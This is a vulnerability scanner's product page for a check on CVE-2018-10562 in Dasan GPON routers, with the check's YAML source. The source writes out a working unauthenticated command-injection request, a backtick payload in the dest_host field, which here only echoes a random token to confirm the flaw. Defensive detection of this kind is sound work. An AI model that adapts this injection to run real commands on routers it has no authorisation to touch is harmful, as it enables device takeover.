Dasan GPON — 1 vulnerability check

noctis ships 1 vulnerability check for Dasan GPON, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Dasan GPON Routers Remote Code Execution

CVECVE-2018-10562
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/dasan-gpon/CVE-2018-10562.yaml

Tests Dasan GPON home routers for the unauthenticated command injection in the /GponForm/diag_Form?images/ ping diagnostic `dest_host` field. An inert `echo` of a per-run random token, with NOCTIS and the token separated by an empty `$()` command substitution, is injected; the diagnostic results page is then read back and the CONTIGUOUS collapsed marker confirms genuine shell execution (CVE-2018-10562).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request POST /GponForm/diag_Form?images/ with a crafted body
  4. HTTP(S) request GET /diag.html
  5. Checks results.body for NOCTIS[0-9a-f]{32} → finding QoD 97: Dasan GPON Router Command Injection RCE (CVE-2018-10562)

References:

Feed source — tests/vulnerabilities/dasan-gpon/CVE-2018-10562.yaml
# Dasan GPON Home Routers — Command Injection / RCE (CVE-2018-10562)
#
# The GPON router web interface exposes the ping diagnostic endpoint
# /GponForm/diag_Form?images/ which passes the `dest_host` POST field into a
# shell command without sanitisation. A `` `...` `` (backtick) command
# substitution in dest_host is executed, and the output is then retrievable
# from the diagnostic results page (classic two-request chain:
# CVE-2018-10561 auth-bypass path + CVE-2018-10562 command injection). This is
# in the CISA KEV catalog and under active ransomware-campaign exploitation.
#
# Detection (confirmed execution, QoD 97 — cyber-safety: INERT echo only, no
# file read, no real command, no write):
#   1. Mint a per-run random token tok = rand_hex(16) (32 lowercase hex chars)
#      and a marker = "NOCTIS" + tok.
#   2. POST an injection whose shell command is `echo NOCTIS$()<tok>` — NOCTIS
#      and the token are separated by an EMPTY command substitution `$()`.
#      Only a genuine shell collapses `$()` to nothing, producing the
#      CONTIGUOUS marker "NOCTIS<tok>". A server that merely reflects the
#      payload verbatim leaves the `$()` in place, so no contiguous marker
#      appears.
#   3. Read the diagnostic results page back and confirm the collapsed marker:
#      gated by stridx(resp.body, marker) >= 0 (THIS run's random token, so a
#      static/constant marker cannot match) AND the regex NOCTIS[0-9a-f]{32}.
#
# The injection lives in a POST BODY field (reqwest does not normalise bodies),
# so http_request is used; port: "{{port}}" is set on every request.
#
# Detection strategy adapted from ProjectDiscovery Nuclei template
# http/cves/2018/CVE-2018-10562.yaml, transposed to an inert token-reflection
# confirmation (no OOB / no busybox curl|wget — detection, not exploitation).
uid: 6552a57e-f965-4415-b0a8-63a567fd3bd6
name: "Dasan GPON Routers Remote Code Execution (CVE-2018-10562)"
description: |
  Tests Dasan GPON home routers for the unauthenticated command injection in
  the /GponForm/diag_Form?images/ ping diagnostic `dest_host` field. An inert
  `echo` of a per-run random token, with NOCTIS and the token separated by an
  empty `$()` command substitution, is injected; the diagnostic results page is
  then read back and the CONTIGUOUS collapsed marker confirms genuine shell
  execution (CVE-2018-10562).
cves: [CVE-2018-10562]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [dasan, gpon, router, iot, command-injection, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-10562"
  - "https://github.com/649/Pingpon-Exploit"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-10562.yaml"

steps:
  # Initialise the var referenced by the confirm condition (an undefined var in
  # a Rhai condition throws and the step is silently skipped).
  - id: init-confirmed
    action: set_var
    var_name: rce_confirmed
    var_value: false

  # 1 — mint a per-run random token (32 lowercase hex chars) and the marker.
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  - id: build-marker
    action: script
    store_as: marker
    code: |
      "NOCTIS" + tok

  # 2 — inject the inert echo into dest_host. NOCTIS and the token are split by
  #     an empty `$()`; only a real shell collapses it to a contiguous marker.
  - id: inject
    action: http_request
    method: POST
    path: "/GponForm/diag_Form?images/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`echo NOCTIS$(){{tok}}`&ipv=0"
    store_as: inject_resp

  # 3 — read the diagnostic results page back (second request of the chain).
  - id: read-results
    action: http_request
    method: GET
    path: "/diag.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: results

  # 4 — confirm the CONTIGUOUS collapsed marker keyed on THIS run's token.
  #     stridx(results.body, marker) proves the exact per-run token survived the
  #     round trip (a constant/static marker cannot match); the regex requires
  #     NOCTIS immediately followed by 32 hex chars (no intervening `$()`).
  - id: confirm-rce
    action: match
    source: results.body
    pattern: "NOCTIS[0-9a-f]{32}"
    condition: "stridx(results.body, marker) >= 0"
    on_match:
      finding:
        title: "Dasan GPON Router Command Injection RCE (CVE-2018-10562)"
        description: "The /GponForm/diag_Form?images/ ping diagnostic executed an injected shell command supplied in the dest_host field: an inert echo of a per-run random token, with NOCTIS and the token separated by an empty `$()` command substitution, was collapsed to a contiguous marker and reflected on the diagnostic results page — confirming unauthenticated remote command execution."
        remediation: "Upgrade to firmware that sanitises the GPON diagnostic form, or restrict access to the device management interface. No official vendor patch was issued for many affected models."
        confidence_delta: 0.65
        qod: 97
        evidence: "GPON dest_host command injection confirmed: injected `echo` output the per-run marker NOCTIS<token> contiguously on the diagnostic results page at {{target_host}}:{{port}}, proving shell execution (empty $() collapse)."
      set_vars:
        rce_confirmed: true
      stop: true

View these feeds on GitHub